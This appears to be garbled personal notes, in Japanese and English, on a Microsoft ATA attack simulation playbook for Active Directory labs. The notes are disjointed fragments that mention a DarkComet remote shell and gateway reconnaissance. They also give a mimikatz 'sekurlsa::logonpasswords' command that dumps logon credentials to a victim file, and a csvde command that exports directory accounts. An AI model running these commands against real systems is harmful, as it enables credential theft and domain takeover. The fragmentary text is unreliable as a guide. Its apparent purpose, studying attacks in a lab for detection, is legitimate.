https://docs.microsoft.com/ja-jp/enterprise-mobility-security/solutions/ata-attack-simulation-playbook

Defaultgateway Darkcomet RemoteShell ipconfig→192.168.0.XXXADSVのAdminPasswd mimikatzを/にsend privilege::debug sekurlsa::logonpasswords exit >> ~tmp/victim.txt csvde.exe -ur -f -b administrator datafusioncenter.local リモートマシンで起動…